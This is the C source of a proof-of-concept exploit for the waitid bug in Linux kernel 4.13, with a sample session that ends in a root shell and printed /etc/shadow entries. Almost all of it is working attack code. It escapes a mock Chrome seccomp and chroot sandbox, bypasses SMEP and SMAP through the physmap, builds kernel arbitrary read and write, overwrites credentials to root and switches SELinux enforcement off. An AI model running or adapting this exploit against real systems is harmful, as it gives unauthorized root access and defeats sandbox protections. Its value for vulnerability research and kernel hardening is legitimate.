// Proof of concept exploit for waitid bug introduced in Linux Kernel 4.13
// By Chris Salls (twitter.com/chris_salls)
// This exploit can be used to break out out of sandboxes such as that in google chrome
// In this proof of concept we install the seccomp filter from chrome as well as a chroot,
// then break out of those and get root
// Bypasses smep and smap, but is somewhat unreliable and may crash the kernel instead
// offsets written and tested on ubuntu 17.10-beta2
/*
salls@ubuntu:~/x$ uname -a
Linux ubuntu 4.13.0-12-generic #13-Ubuntu SMP Sat Sep 23 03:40:16 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
salls@ubuntu:~/x$ gcc poc_smap_bypass.c -lpthread -o poc
salls@ubuntu:~/x$ ./poc
Installed sandboxes. Seccomp, chroot, uid namespace
for spray assuming task struct size is 5952
check in /sys/kernel/slab/task_struct/object_size to make sure this is right
If it's wrong the exploit will fail
found kernel base 0xffffffff87600000
found mapping at 0xffff8eb500000000
found mapping end at 0xffff8eb5a0000000
9999 threads created
found second mapping at 0xffff8eb600000000
found second mapping end at 0xffff8eb750000000
last_mapping is 0x150000000 bytes
min guess ffff8eb650000000
starting guessing
this part can take up to a minute, or crash the machine :)
found my task at 0xffff8eb67555dd00
joining threads
part 2 start
mapped 0x100000000
trying to find physmap mapping
found mapping at 0xffff8eb500000000
f213000 changed to 0
page locked!
detected change at 0xffff8eb658000000
physmap addr is good
here we go
trying to call system...
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),128(sambashare),1000(salls)
# head /etc/shadow
root:!:17447:0:99999:7:::
daemon:*:17435:0:99999:7:::
*/
/****** overview of exploit ********
waitid uses unsafe_put_user without checking access_ok,
allowing the user to give a kernel address for infop and write over kernel memory.
when given invalid parameters this just writes the following 32 bit integers
0, 0, 0, _, 0, 0, 0
(the 4th element is unchanged)
inside the chrome sandbox we cannot fork (can only make threads)
so we can only give invalid parameters to waitid and only write 0's to kernel memory,
To exploit this in the presence of smap:
I start out by iteratively calling waitid until we find the kernel's base address
When it's found it will not return efault error from the syscall
Now, I can only write 0's at this point, so I spray 10000 threads and attempt
to write 0's over the beginning of the task struct to unset the seccomp flag
This part is kind of unreliable and depends on the size of the task struct which
changes based on cpu.
If it succceeds, I now know where the task struct is and no longer have seccomp
By shifting the location of the write and using the pid of the child process, I
can now write 5 consecutive arbitrary non-zero bytes. So I can create an address
with this bitmask 0xffffffffff000000
Now to create data at such an address I use the physmap, a mirror of all userland
pages that exists in kernel memory. Mmap a large amount of memory, try writing at
various places in the physmap until we see userland memory change. Then mlock that
page.
With controlled data in the kernel, I use the 5 byte write described above to change
our task->files to point at the controlled page. This give me control of the file
operations and arbitrary read/write.
From here, I remove the chroot and edit my creds to make that thread root.
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <errno.h>
#include <wait.h>
#include <string.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <seccomp.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <linux/filter.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <stdarg.h>
#include <sys/mman.h>
#include <sched.h>
#include <pthread.h>
#include <linux/sched.h>
#include <linux/futex.h>
#include <limits.h>
#include <sys/ioctl.h>
#define PR_SET_NO_NEW_PRIVS 38
#define __NR_seccomp 317
#define SECCOMP_SET_MODE_FILTER 1
/************ task offsets *************/
// from prctl_get_seccomp
#define OFFSET_OF_SECCOMP_MODE 2920
#define OFFSET_OF_SECCOMP 2928
// from ptrace_access_vm
#define OFFSET_OF_PARENT 2328
// from sys_getcwd
#define OFFSET_OF_FS 2784
// from __fget_light
#define OFFSET_OF_FILES 2792
// from
#define OFFSET_OF_NSPROXY 2800
// from do_acct_process
#define OFFSET_OF_SIGNAL 2808
// from sys_getuid
#define OFFSET_OF_TASK_CRED 2720
// from get_task_comm
#define OFFSET_OF_COMM 2728
// from __put_task_struct
#define OFFSET_OF_TASK_USAGE 72
// from keyctl_session_to_parent
#define OFFSET_OF_THREAD_GROUP 2480
/******* files offsets ********/
// from fput
#define OFFSET_OF_F_COUNT 56
// from free_file_rcu
#define OFFSET_OF_F_CRED 144
// from file_alloc_security
#define OFFSET_OF_F_SECURITY 192
//
#define OFFSET_OF_F_INODE 32
/****** inode offsets *********/
#define OFFSET_OF_IFLAGS 12
// should assert nsproxy = files+8
// and fs = files-8
// since that's why we need to fix them up
// nsproxy offsets
#define OFFSET_OF_NS_COUNT 0
// fs offset
#define OFFSET_OF_FS_COUNT 0
// cred offsets
#define CRED_UID_OFF 4
#define CRED_ID_SIZE 32
#define CRED_CAP_OFF 40
#define CRED_CAP_SIZE 40
#define CRED_NS_OFF 136
#define OFFSET_OF_CRED_SECURITY 120
#define FMODE_LSEEK 4
// global offsets
#define KERNEL_BASE_DEFAULT 0xFFFFFFFF81000000
// in cache_seq_next
// mov rax, [rsi]; ret
#define ARB_READ_GADGET_OFF (0xffffffff8109d2b2-KERNEL_BASE_DEFAULT)
// in device_wakeup_attach_irq
// mov [rdx], esi; ret
#define ARB_WRITE_GADGET_OFF (0xffffffff810da932-KERNEL_BASE_DEFAULT)
#define SELINUX_ENFORCING_OFF (0xffffffff824d1394-KERNEL_BASE_DEFAULT)
#define INIT_USER_NS (0xffffffff81e508a0-KERNEL_BASE_DEFAULT)
#define INIT_FS (0xffffffff81f23480-KERNEL_BASE_DEFAULT)
// operations offsets in qwords
#define OFFSET_LSEEK 1
#define OFFSET_IOCTL 9
// 4.13+
// where read/write data is in kernel
// had to play with last 3 nibbles to get it to not crash
#define start_rw_off 0x9f5fe0
// a global for the f_op in userspace
unsigned long *f_op;
struct PagePair {
unsigned long userland_page;
unsigned long kernel_page;
};
unsigned long kernel_base;
void do_exploit_2(unsigned long task_addr);
void get_physmap(struct PagePair *pp);
// global for threads
#define NUM_THREAD_SPRAY 10000
pthread_t g_threads[NUM_THREAD_SPRAY];
/********** HELPERS *************/
void raw_input() {
int i;
printf("> ");
read(0, (char*)&i, 4);
}
int write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1) {
perror("open");
return 0;
}
if (write(fd, buf, len) != len) {
close(fd);
return 0;
}
close(fd);
return 1;
}
static inline void native_cpuid(unsigned int *eax, unsigned int *ebx,
unsigned int *ecx, unsigned int *edx)
{
/* ecx is often an input as well as an output. */
asm volatile("cpuid"
: "=a" (*eax),
"=b" (*ebx),
"=c" (*ecx),
"=d" (*edx)
: "0" (*eax), "2" (*ecx));
}
void install_mock_chrome_sandbox() {
char *buffer = NULL;
long length;
FILE *f = fopen ("chrome_seccomp_filter", "rb");
if (f)
{
fseek(f, 0, SEEK_END);
length = ftell (f);
fseek(f, 0, SEEK_SET);
buffer = malloc(length);
if (buffer)
{
fread(buffer, 1, length, f);
}
fclose(f);
}
else {
printf("couldn't open chrome_seccomp_filter\n");
exit(-1);
}
if (length%8 != 0) {
printf("length mod 8 != 0?\n");
exit(-1);
}
// set up namespace
int real_uid = 1000;
int real_gid = 1000;
int has_newuser = 1;
if (unshare(CLONE_NEWUSER) != 0) {
perror("unshare(CLONE_NEWUSER)");
printf("no new user...\n");
has_newuser = 0;
}
if (unshare(CLONE_NEWNET) != 0) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (has_newuser && !write_file("/proc/self/setgroups", "deny")) {
perror("write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (has_newuser && !write_file("/proc/self/uid_map", "1000 %d 1\n", real_uid)){
perror("write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (has_newuser && !write_file("/proc/self/gid_map", "1000 %d 1\n", real_gid)) {
perror("write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
// chroot
if (chroot("/proc/self/fdinfo")) {
perror("chroot");
exit(EXIT_FAILURE);
}
// remove .?
// how did they remove that dir..
// set uid
if (!has_newuser){
if (setgid(1000)) {
perror("setgid");
exit(EXIT_FAILURE);
}
if (setuid(1000)) {
perror("setuid");
exit(EXIT_FAILURE);
}
}
// no new privs
int res = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
if (res) {
printf("no new privs failed? %d\n", res);
}
// filter
struct sock_fprog prog = {
.len = (unsigned short) (length/8),
.filter = (void*)buffer,
};
// install filter
if (syscall(__NR_seccomp, SECCOMP_SET_MODE_FILTER, 0, &prog)) {
perror("seccomp");
exit(-2);
}
printf("Installed sandboxes. Seccomp, chroot, uid namespace\n");
}
// futex wrapper
static int futex(void *uaddr, int futex_op, int val,
const struct timespec *timeout, int *uaddr2, int val3) {
return syscall(SYS_futex, uaddr, futex_op, val, timeout, uaddr, val3);
}
/***********EXPLOIT CODE************/
pthread_attr_t thread_attr;
unsigned long get_base() {
// first we try doing our arb write to find the system base address
// if syscall is 0 we didn't fault
unsigned long start = 0xffffffff00000000;
unsigned long inc = 0x0000000000100000;
unsigned long guess = start;
while (guess != 0) {
int res = syscall(SYS_waitid, P_ALL, 0, guess+start_rw_off, WEXITED, NULL);
if (errno != 14) {
printf("found kernel base 0x%lx\n", guess);
kernel_base = guess;
return guess;
}
guess += inc;
}
printf("failed to find base address...");
return -1;
}
int threads_run;
int barrier2;
int barrier1;
unsigned long g_addr_guess;
unsigned long mapping_begin;
unsigned long mapping_end;
int found_one = 0;
void *thread_guy(void *arg) {
// this thread continuously checks if the seccomp filter was removed
// if so we can move onto the part 2 of the exploit
// we check if the spray worked before and after each barrier
while (1) {
if (found_one) {
syscall(SYS_exit, 0);
}
// wait on barrier1
int res = futex(&barrier1, FUTEX_WAIT, 0, NULL, NULL, 0);
if (found_one) {
syscall(SYS_exit, 0);
}
long curr_addr = g_addr_guess;
__atomic_fetch_add(&threads_run, 1, __ATOMIC_SEQ_CST);
// check if opening /dev/random does not return the error code from seccomp
// it will still fail because of the chroot, but have a different error
int fd = open("/dev/random", O_RDONLY);
if (errno != 1) {
// FOUND
printf("found my task at 0x%lx\n", curr_addr);
found_one = 1;
do_exploit_2(curr_addr);
return NULL;
}
// wait for barrier 2
if (found_one) {
syscall(SYS_exit, 0);
}
futex(&barrier2, FUTEX_WAIT, 0, NULL, NULL, 0);
if (found_one) {
syscall(SYS_exit, 0);
}
__atomic_fetch_add(&threads_run, 1, __ATOMIC_SEQ_CST);
}
}
int num_threads = 0;
long spray_offset;
void unseccomp() {
// first we spin up a lot of threads
// let's try 10k
// and then we try overwriting the TIF_SECCOMP flag in the task struct
int i;
unsigned long curr_guess = 0xffff800000000000;
int j;
while(1) {
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno != 14) {
mapping_begin = curr_guess;
printf("found mapping at %p\n", (void*)curr_guess);
break;
}
curr_guess += 0x10000000;
}
// check if mapping extends higher?
while(1) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno == 14) {
printf("found mapping end at %p\n", (void*)curr_guess);
mapping_end = curr_guess;
curr_guess -= 0x10000000;
break;
}
}
// start threads
barrier1 = 0;
barrier2 = 0;
for (i = 0; i < NUM_THREAD_SPRAY; i++) {
num_threads = i;
if(pthread_create(&g_threads[i], &thread_attr, thread_guy, NULL)) {
printf("pthread create error\n");
printf("%d\n", i);
break;
}
}
printf("%d threads created\n", num_threads);
/***** find the kernel heap *******/
unsigned long last_mapping_start;
unsigned long last_mapping_end;
unsigned long second_mapping;
unsigned long second_mapping_end;
usleep(100000);
while(1) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno != 14) {
printf("found second mapping at %p\n", (void*)curr_guess);
//mapping_end = curr_guess;
second_mapping = curr_guess;
last_mapping_start = second_mapping;
curr_guess -= 0x10000000;
break;
}
}
while(1) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno == 14) {
printf("found second mapping end at %p\n", (void*)curr_guess);
second_mapping_end = curr_guess;
last_mapping_end = second_mapping_end;
curr_guess -= 0x10000000;
break;
}
}
unsigned long third_mapping = 0;
unsigned long third_mapping_end;
usleep(100000);
while(curr_guess < second_mapping_end+0x100000000) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno != 14) {
printf("found third mapping at %p\n", (void*)curr_guess);
third_mapping = curr_guess;
last_mapping_start = third_mapping;
curr_guess -= 0x10000000;
break;
}
}
if (third_mapping) {
while(1) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno == 14) {
printf("found third mapping end at %p\n", (void*)curr_guess);
third_mapping_end = curr_guess;
last_mapping_end = third_mapping_end;
curr_guess -= 0x10000000;
break;
}
}
}
/***** done finding the kernel heap *******/
/****** start overwriting from low addresses to high and hope we unset the seccomp flag ******/
// some start guess found by experimenting, could be very wrong on some systems
curr_guess = last_mapping_end-0x100000000;
printf("last_mapping is 0x%lx bytes\n", last_mapping_end-last_mapping_start);
printf("min guess %lx\n", curr_guess);
printf("starting guessing\n");
printf("this part can take up to a minute, or crash the machine :)\n");
i = 0;
while(!found_one) {
curr_guess += 0x800000;
unsigned long guess_val = curr_guess + spray_offset;
// try writing
syscall(SYS_waitid, P_ALL, 0, guess_val-26, WEXITED, NULL);
g_addr_guess = guess_val;
// let the threads check
barrier2 = 0;
threads_run = 0;
barrier1 = 1;
futex(&barrier1, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
while(threads_run < num_threads) {
if (found_one) {
// one of the threads is free from seccomp
// wake from barriers first
barrier1=1;
barrier2=1;
futex(&barrier1, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
futex(&barrier2, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
printf("joining threads\n");
for(i = 0; i < num_threads; i++) {
pthread_join(g_threads[i], NULL);
}
printf("done joining threads\n");
sleep(1000);
}
usleep(10000);
}
// make sure threads are reset
barrier2 = 1;
barrier1 = 0;
futex(&barrier2, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
while(threads_run < num_threads*2) {
if (found_one) {
printf("apparently we found one sleep forever\n");
// wake from barriers first
barrier1=1;
barrier2=1;
futex(&barrier1, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
futex(&barrier2, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
printf("joining threads\n");
for(i = 0; i < num_threads; i++) {
pthread_join(g_threads[i], NULL);
}
printf("done joining threads\n");
sleep(100000);
}
usleep(10000);
}
threads_run = 0;
barrier2 = 0;
i += 1;
}
}
int just_exit(void *arg) {
return 0;
}
int done_overwrite;
long new_stack[10000];
void write_5(unsigned long addr, unsigned long val) {
// uses waitid with pid to write a 5 byte value
// clobbers a lot of adjacent memory, mostly with 0's
long fake_info[20];
if(val & 0xffffff) {
printf("cannot write that val\n");
exit(-1);
}
//fork exit until pid is good
int i = 0;
for(i = 3; i < 8; i++) {
int to_write = (val >> (8*i)) & 0xff;
while(1) {
// get pid ending in to_write
//int pid = fork();
// to make super fast we clone VM instead of regular fork
// int pid = syscall(SYS_clone, CLONE_VM | CLONE_CHILD_SETTID | CLONE_CHILD_CLEARTID | SIGCHLD, &new_stack[200], NULL, 0, 0);
int pid = clone(just_exit, &new_stack[5000], CLONE_VM | SIGCHLD, NULL);
if (!pid) {
exit(0);
}
if ((pid & 0xff) == to_write) {
syscall(SYS_waitid, P_PID, pid, addr-16+i, WEXITED, NULL);
break;
}
else {
syscall(SYS_waitid, P_PID, pid, fake_info, WEXITED, NULL);
}
}
}
}
// functions for once we control ops
unsigned long read_addr(unsigned long addr) {
f_op[OFFSET_LSEEK] = ARB_READ_GADGET_OFF + kernel_base;
return syscall(SYS_lseek, 0, addr, SEEK_SET);
}
void mem_read(unsigned long addr, void *buf, unsigned long bytes) {
unsigned long i = 0;
char *cbuf = (char*)buf;
for(i = 0; i < bytes; i+= 8) {
unsigned long got = read_addr(addr+i);
if (i+8 > bytes) {
unsigned long j = 0;
for(j = i; j < bytes; j++) {
cbuf[j] = (char)got&0xff;
got >>= 8;
}
}
else {
*(long*)(cbuf+i) = got;
}
}
}
void write_addr4(unsigned long addr, unsigned int val) {
f_op[OFFSET_IOCTL] = ARB_WRITE_GADGET_OFF+kernel_base;
ioctl(0, val, addr);
}
void write_addr(unsigned long addr, unsigned long val) {
write_addr4(addr, (unsigned int)val);
write_addr4(addr+4, (unsigned int)(val>>32));
}
void mem_write(unsigned long addr, void *buf, unsigned long bytes) {
if (bytes < 4 || bytes % 4 != 0) {
//cannot write less than 4 bytes
printf("Invalid write size\n");
exit(-1);
}
int i = 0;
char *cbuf = buf;
for(i = 0; i < bytes; i+=4) {
write_addr4(addr+i, *(unsigned int*)(cbuf+i));
}
}
void *write_5_thread(void *arg) {
// constantly write to pages to keep them dirtly and "mlock" them
unsigned long *aa = arg;
unsigned long addr = aa[0];
unsigned long data = aa[1];
write_5(addr, data);
done_overwrite = 1;
}
int done_rooting;
void *thread_to_be_root(void *arg) {
// this guy exists for copying data and becoming root
while(!done_rooting) {
usleep(10000);
}
printf("trying to call system...\n");
system("/bin/sh");
}
void do_exploit_2(unsigned long task_addr) {
// second part of the exploit
// now that we don't have seccomp we can fork and use waitid to write up to 5 non-NULL bytes
// I map a large section of memory and search for it in the physmap to find an address with 3 NULL bytes
// The physmap allows us to control data from userland and bypass smap
// sleep for a bit to make sure threads exit
usleep(100000);
// remove seccomp filter
syscall(SYS_waitid, P_ALL, 0, task_addr + OFFSET_OF_SECCOMP-4, WEXITED, NULL);
syscall(SYS_waitid, P_ALL, 0, task_addr + OFFSET_OF_SECCOMP_MODE, WEXITED, NULL);
// verify seccomp removed for child
int pid = fork();
int rand_fd = open("/dev/random", O_RDONLY); // this will fail due to chroot
if (errno == 1) {
printf("SECCOMP NOT ACTUALLY GONE!\n");
exit(-1);
}
if (!pid) {
exit(0);
}
printf("part 2 start\n");
// First, get a physmap address in the kernel land
struct PagePair pp;
get_physmap(&pp);
// now we have a physmap address that we know, we can create our fake files
// we will set up fake files struct
memset((void*)pp.userland_page, 0x41, 0x1000);
unsigned long files_struct = pp.userland_page;
*(int*)files_struct = 100; // count (make sure it's never freed)
*(unsigned long*)(files_struct+32) = pp.kernel_page+0x100; // fdt
// set up fdt
unsigned long fdt = pp.userland_page+0x100;
*(int*)fdt = 2; // num_files
*(unsigned long*)(fdt+8) = pp.kernel_page+0x200; // fd[]
// set up fd[]
unsigned long fdarr = pp.userland_page+0x200;
*(unsigned long*)fdarr = pp.kernel_page+0x300; // fd[0]
// set up file struct
unsigned long file = pp.userland_page+0x300;
*(unsigned long*)(file+40) = pp.kernel_page+0x400; // f_op
*(unsigned int*)(file+68) = FMODE_LSEEK; // mode
*(unsigned long*)(file+OFFSET_OF_F_COUNT)=100; // never free me
f_op = (unsigned long*)(pp.userland_page+0x400); // f_op pointer
// need to set up IS_PRIVATE(inode)) and file->cred = task->cred to pass checks for ioctl
// this is the IS_PRIVATE(inode)
*(unsigned long*)(file+OFFSET_OF_F_INODE)=pp.kernel_page+0x500; // inode
unsigned long inode = (unsigned long)(pp.userland_page+0x500); // inode
*(unsigned int*)(inode+OFFSET_OF_IFLAGS) = 0x200; // IS_PRIVATE
// write over files pointer in task struct
// will overwrite signal nsproxy and fs, so we will need to fix it
printf("here we go\n");
done_overwrite=0;
long aa[2];
aa[0] = task_addr + OFFSET_OF_FILES;
aa[1] = pp.kernel_page;
pthread_t th1;
// create the thread we will make root
done_rooting = 0;
if(pthread_create(&th1, NULL, thread_to_be_root, NULL)) {
printf("pthread failed\n");
exit(-1);
}
// create a thread to overwrite the files in our task
// this current thread can't do that because the signal will be corrupted
if(pthread_create(&th1, NULL, write_5_thread, aa)) {
printf("pthread failed\n");
exit(-1);
}
// wait for the thread to overwrite my files
while(!done_overwrite) {
}
// I'll use lseek here to do arbitrary reads
// need to set up IS_PRIVATE(inode)) and file->security = task->cred->security to pass checks for ioctl
// first fix up structures in FILE
// let's check another file
// leak out addr of parent
unsigned long parent_addr = read_addr(task_addr+OFFSET_OF_PARENT);
// grab security from task cred
unsigned long cred = read_addr(task_addr + OFFSET_OF_TASK_CRED);
unsigned long security = read_addr(cred + OFFSET_OF_CRED_SECURITY);
// fix up file->security
*(unsigned long*)(file+OFFSET_OF_F_SECURITY) = security;
// now have arb write through ioctl!
// okay first fix up task struct
// copy parent's nsproxy and set it's refcount high
long parent_nsproxy = read_addr(parent_addr+OFFSET_OF_NSPROXY);
write_addr(task_addr+OFFSET_OF_NSPROXY, parent_nsproxy);
write_addr4(parent_nsproxy+OFFSET_OF_NS_COUNT, 0x11111111);
// copy parent's fs and set it's refcount high
long parent_fs = read_addr(parent_addr+OFFSET_OF_FS);
write_addr(task_addr+OFFSET_OF_FS, parent_fs);
write_addr4(parent_fs+OFFSET_OF_FS_COUNT, 0x11111111);
// now set tasks refcount high, we don't want to free it ever either?
write_addr4(task_addr+OFFSET_OF_TASK_USAGE, 0x11111);
// GET ROOT
// disable selinux enforcing
write_addr4(kernel_base+SELINUX_ENFORCING_OFF, 0);
unsigned long thread2 = read_addr(task_addr+OFFSET_OF_THREAD_GROUP)-OFFSET_OF_THREAD_GROUP;
if (thread2 == task_addr) {
thread2 = read_addr(task_addr+OFFSET_OF_THREAD_GROUP+8)-OFFSET_OF_THREAD_GROUP;
}
unsigned long signal = read_addr(thread2+OFFSET_OF_SIGNAL);
write_addr(task_addr+OFFSET_OF_SIGNAL, signal);
// should be able to ptrace now (it's a decent test to make sure signal is fixed
// now fix up cred we want root
char buf[100];
memset(buf, 0, sizeof(buf));
mem_write(cred+CRED_UID_OFF, buf, CRED_ID_SIZE);
memset(buf, 0xff, sizeof(buf));
mem_write(cred+CRED_CAP_OFF, buf, CRED_CAP_SIZE);
unsigned long init_ns = INIT_USER_NS+kernel_base;
mem_write(cred+CRED_NS_OFF, &init_ns, 8); // is this okay
// now we need to just escape the file system sandbox (chroot)
unsigned long init_fs = INIT_FS+kernel_base;
write_addr(thread2+OFFSET_OF_FS, init_fs);
// WE ARE DONE!
// signal to the other thread and sleep forever
done_rooting = 1;
sleep(1000000);
}
/***** physmap code ******/
int done_locking;
char *mapping_base;
void *mlock_thread(void *arg) {
// constantly write to pages to keep them dirtly and "mlock" them
long i;
char last_val = 0;
while(!done_locking) {
last_val += 1;
for(i = 0xfff; i < 0x10000000; i+= 0x1000) {
mapping_base[i] = last_val;
}
}
}
void* mapping_changed() {
long i = 0;
for(i = 0; i < 0x10000000; i+= 0x1000) {
if (mapping_base[i] != 0x41) {
printf("%lx changed to %d\n", i, mapping_base[i]);
// lock that page in
if(mlock(&mapping_base[i], 0x1000)) {
perror("mlock");
}
printf("page locked!\n");
return &mapping_base[i];
}
}
return 0;
}
void get_physmap(struct PagePair *pp) {
// mmap a large amount of memory
// have one thread watch for changes, while we try overwriting it in the kernel's physmap
// lock the page in when it's found
unsigned long base = 0x100000000;
mapping_base = (char*)base;
long* a = mmap((void*)base, 0x10000000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if ((long)a == -1) {
printf("mmap failed\n");
perror("mmap");
exit(-1);
}
printf("mapped %p\n", a);
memset(a, 0x41, 0x10000000);
done_locking = 0;
int j = 0;
for(j = 0; j < 4; j++) {
pthread_t th1;
if(pthread_create(&th1, NULL, mlock_thread, NULL)) {
printf("mlock thread create error\n");
exit(0);
}
}
// try to find it in physmap
unsigned long curr_guess = mapping_begin-0x80000000;
printf("trying to find physmap mapping\n");
while(1) {
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno != 14) {
printf("found mapping at %p\n", (void*)curr_guess);
curr_guess += 0x80000000;
break;
}
curr_guess += 0x10000000;
}
// try to find physmap
long *locked_mapping = NULL;
long *locked_kernel_mapping = NULL;
while(1) {
// this has 6 0's to ensure that we end up with an address containing only 5 non-zero vals
curr_guess += 0x1000000;
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess, WEXITED, NULL);
if (locked_mapping = mapping_changed()) {
locked_kernel_mapping = (long*)curr_guess;
printf("detected change at %p\n", (void*)curr_guess);
break;
}
}
// verify lock worked
locked_mapping[0] = 0x41414141;
syscall(SYS_waitid, P_ALL, 0, locked_kernel_mapping, WEXITED, NULL);
syscall(SYS_waitid, P_ALL, 0, &locked_kernel_mapping[100], WEXITED, NULL);
if (locked_mapping[0] != 0 || locked_mapping[100] != 0) {
printf("second write didn't work...");
}
printf("physmap addr is good\n");
if(pp) {
pp->userland_page = (unsigned long)locked_mapping;
pp->kernel_page = (unsigned long)locked_kernel_mapping;
}
done_locking = 1;
}
int main() {
install_mock_chrome_sandbox();
setvbuf(stdout, NULL, _IONBF, 0);
srand(time(NULL));
// set thread size smaller
pthread_attr_init(&thread_attr);
if(pthread_attr_setstacksize(&thread_attr, 0x10000)) {
printf("set stack size error\n");
return 0;
}
// get cpuid info so we know size of task_struct
int eax,ebx,ecx,edx;
eax=0xd;
ebx = ecx = edx = 0;
native_cpuid(&eax, &ebx, &ecx, &edx);
int xsave_size = ebx;
if(xsave_size == 0x340) {
spray_offset = 0x55dd00;
printf("for spray assuming task struct size is 5952\n");
}
else if(xsave_size == 0x440) {
spray_offset = 0x5448c0;
printf("for spray assuming task struct size is 6208\n");
}
else {
printf("unknown xsave size... exiting since I don't know have the offsets hardcoded for that task save\n");
return 0;
}
printf("check in /sys/kernel/slab/task_struct/object_size to make sure this is right\n");
printf("If it's wrong the exploit will fail\n");
unsigned long base = get_base();
if (base == -1) {
return -1;
}
unseccomp();
return 0;
}
